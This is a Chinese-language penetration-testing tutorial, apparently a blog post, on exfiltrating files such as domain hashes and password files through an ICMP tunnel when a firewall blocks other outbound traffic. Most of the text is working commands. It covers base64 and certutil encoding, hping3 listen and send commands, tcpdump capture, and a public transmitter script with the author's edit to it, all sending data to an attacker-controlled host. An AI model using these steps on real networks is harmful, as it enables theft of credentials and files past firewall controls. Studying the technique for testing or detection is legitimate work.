ICMP協議被用於檢測網絡連通狀態的協議,通常情況下,防火牆會默認放過該協議。
滲透測試中經常出現一種情況是,我們通過某一種方式取得了一台主機的權限,得到了一些文件,比如域hash,密碼文件之類的東西,需要回傳至本地進行破解,但是防火牆阻斷了由內網發起請求的協議,只有icmp沒有被阻斷,而我們又需要回傳文件,這個時候就可以利用icmp隧道來進行傳輸。
【基本步驟】如下:
(1)、將所要傳輸的文件進行base64編碼:windows下可以用certutil命令;linux可以用base64命令
(2)、在遠程主機監聽並轉儲icmp數據包:常用的工具有tcpdump、wireshark
(3)、通過可以構造icmp數據包的工具對我們的遠程主機發送icmp數據包:常用的工具有hping3,或者自己python寫一個
(4)對收到的icmp包提取data數據段內容,進行拼接,重新進行base64解碼,得到源文件
我這里在linux下使用hping3 和wireshark來手動實現,文章結尾會再引用以為大神寫的幾個腳本工具來快速復現一次
1、將我們要傳輸的文件進行base64編碼:
base64 XXX>test #linux
certutil -encode test.zip temp #windows #-encode base64編碼 #test.zip 要加密的文件 #temp 生成的base64編碼文件
2、在接收的遠程主機上輸入下面的命令監聽接收的數據,並開啟wireshark,並設置過濾策略為只監聽icmp
hping3 x.x.x.x --listen signature --safe --icmp -u
參數說明:
(1)--listen 指定hping3為監聽模式,接收發來的數據
(2)signature 指定接收數據的簽名,每條發來的數據都會在最前面帶上這個字符串,也就是說,“signature”這個字符串后就是我們接受到的數據,后面拼接是要用到
(3)--safe 以安全模式接收,確保發來的數據包是按照發送順序,完整的接收到
(4)--icmp 指定通過icmp協議傳輸
(5)-u 接收完成后自動中斷(官方資料如是說,但是我這里沒有達到這個效果)
(6)x.x.x.x 是我們指定的需要接收的地址,也就是表明:我們只接收來自192.168.164.128發來的icmp數據包
3、在發送方執行下面的命令,來通過icmp數據包發送文件
sudo hping3 192.168.164.136 --icmp -d 1000 --sign signature --file test -u
參數說明:(與上面重復的不在說明)
(1)x.x.x.x 指定我們要發送給那個主機
(2)-d 指定每個數據包的大小
(3)--sign signature 指定簽名內容,也就是上一步我們需要接收的簽名字符串為"signature"
(4)--file test 指定我們要傳輸的文件為test文件,也就是我們進行base64編碼后的編碼文件
*按理說,應該也可以用--safe參數的,但是我這里用--safe后,目的地址就變成了127.0.0.1,不知道怎們回事,暫且不用
加了-u參數后,文件發送完成,它會提示我們按下ctrl+c來停止傳送,如果不停止,它會反復發送
4、在接收端wireshark已經可以看到接受到的數據包
這里由於測試,我們的文件比較短,直接提取data中text類型中的字符串,右鍵->copy->value就可以取到
由於我們取到的值進行了簽名,就是前面的“signature”字符串,我們直接去掉這個字符串,只保留后面的base64編碼,保存為temp
5、在接收端執行解碼命令還原文件
cat temp|base64 -d>test #linux
certutil -decode temp test.zip #windows #-decode base64編碼 #temp 要解密的base64編碼文件 #test.zip 生還原的文件
可以看到已經對文件進行了還原,是一個zip文件。
傳輸完成
【引用】
接下來,我在這里引用兩篇文章,是一位大神寫了一個python工具,來實現了icmp隧道傳輸,十分值得借鑒,兩篇文章用的是同一種方法和工具,一篇偏重滲透思路,另一篇主要是對工具的總結,內容上有重合部分,可以借鑒
我稍微總結下具體的工具使用,詳細的可以去看這兩篇文章
工具:icmp_tunnel_ex_filtrate-master:https://github.com/NotSoSecure/icmp_tunnel_ex_filtrate
1、在接收機器上運行tcpdump監聽並接收icmp數據包
tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt
參數說明:
(1)-i eth0 指定監聽的網卡
(2)icmp and icmp[icmptype]=icmp-echo -XX -vvv 監聽策略,過濾出icmp數據包
(3)-w output.txt 指定輸出文件為output.txt
2、通過下面的命令運行工具腳本,發送文件,它會自動轉換為base64編碼發送
sudo python icmp_transmitter.py test x.x.x.x
參數說明:
(1)test: 我們要發送的文件
(2)x.x.x.x: 指定要發送給哪個主機的ip
注:原來這個工具是windows下的,用了certutil進行了編碼,由於我這里用的linux,所以對他的代碼進行了些許修改,即把原來init函數中的
os.system("certutil -encode "+ file +" test.txt") 改為了 os.system("base64 "+ file +" > test.txt")
使用windows的同學就不用改了
3、我們在接收端應該可以看到接收到了信息
按ctrl+c停止監聽,然后按照parser.sh文件中的命令對output.txt文件處理,就可以得到base64文件了,然后按照上面的步驟進行解碼就可以了
生成的transmitted.txt就是文件base64的編碼了
已經還原出我要傳輸的文件了
大神的這個腳本還是蠻厲害的,而且大神是在windows環境下用的,還把python腳本用py2exe模塊處理成了exe文件,可以看到只需稍微修改就可以運用於各種環境
*按理說這個sh文件應該可以直接執行的,不知道怎么的,我再linux下,需要手工輸入才可以,腳本直接運行會報錯,不能生成output1.txt文件,可能我的環境變量有問題吧
【文章】:
(1)偏滲透思路
https://m.baidu.com/from=1014517c/bd_page_type=1/ssid=0/uid=0/baiduid=BF1E191B8AC484726DC1308DF0E37D18/w=0_10_/t=zbios/l=3/tc?ref=www_zbios&pu=sz%401320_480%2Ccuid%40la24aj8cB80Quvak_ivT8jOqvt0qO2aJgiHiugPq2i8ia-8ggav4i_u3viYua2fHA%2Ccua%40_a-qi4aqBig4NE65I5me6NI0-I_UCvC5SdNqA%2Ccut%4009STI0tc2i4jaXiDyavdC5kcSMzWtpBsB%2Cosname%40baiduboxapp%2Cctv%402%2Ccfrom%401014517c%2Ccen%40cuid_cua_cut%2Ccsrc%40browserf_box_txt%2Cta%40zbios_2_7.0_6_8.3%2Cusm%401%2Cvmgdb%400020100228y&lid=10256142585042083616&order=2&fm=alop&tj=www_normal_2_0_10_title&vit=osres&m=8&srd=1&cltj=cloud_title&asres=1&nt=wnor&title=%E6%A1%88%E4%BE%8B%E5%AD%A6%E4%B9%A0%3A%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87ICMPtunnel%E8%8E%B7%E5%8F%96%E6%9C%AA%E8%BF%87%E6%BB%A4%E6%95%B0%E6%8D%AE-%E7%BD%91%E7%AB%99...&dict=20&w_qd=IlPT2AEptyoA_ykwv4op6AQ6vAfHtn-inklisxezdeJc&sec=19931&di=2ce50d030f985362&bdenc=1&tch=124.0.304.189.0.0&nsrc=IlPT2AEptyoA_yixCFOxXnANedT62v3IEQGG_yFB_jexppjfxP4kHREsRF0hRH_ZH5CwdoSGdMJRtXLR0HEobxpOrxpms7oaznuPcfTqhB7UVNBE&eqid=8e5523577b30a0001000000258dcf07c&wd=&clk_info=%7B%22srcid%22%3A%221599%22%2C%22tplname%22%3A%22www_normal%22%2C%22t%22%3A1490874582535%2C%22xpath%22%3A%22div-a-h3%22%7D
(2)偏工具使用
http://www.hackdig.com/09/hack-39591.htm